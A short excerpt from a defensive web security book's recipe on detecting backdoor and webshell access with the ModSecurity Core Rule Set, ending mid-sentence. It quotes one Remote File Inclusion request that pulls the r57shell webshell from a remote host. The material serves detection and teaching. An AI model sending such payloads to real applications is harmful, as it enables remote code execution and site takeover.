Web Application Defender's Cookbook

Recipe 6-11: Detecting Trojan, Backdoor, and Webshell Access Attempts

This recipe shows you how to detect when an attacker attempts to access a backdoor or webshell web page.

Ingredients

• OWASP ModSecurity Core Rule Set
  • modsecurity_crs_45_trojans.conf

Attackers may use a variety of methods to upload a backdoor or webshell program. They can use legitimate file upload functions either at the OS level or within the web application itself, or they can exploit application vulnerabilities. For instance, look at the following attack request:

GET /become_editor.php?theme_path=http://www.univerzum.de/
allnett.jpg?? HTTP/1.1

This is a Remote File Inclusion (RFI) attack that is attempting to exploit a vulnerability within the PHP application to trick it into downloading and executing malicious code from a remote web site. In this case, the allnett.jpg file is actually a well-known backdoor webshell program called r57shell. Figure 6-6 shows a portion of the r57shell interface.

Figure 6-6: r57shell backdoor interface

As you can see, these types of programs have a wide range of capabilities, including uploading more content, executing code, and manipulating web page data. The OWASP ModSecurity Core Rule Set comes with a file called modsecurity_crs_45_trojan.conf, which inspects outbound response body data, looking for key values used within these backdoor programs. Here is a sample ...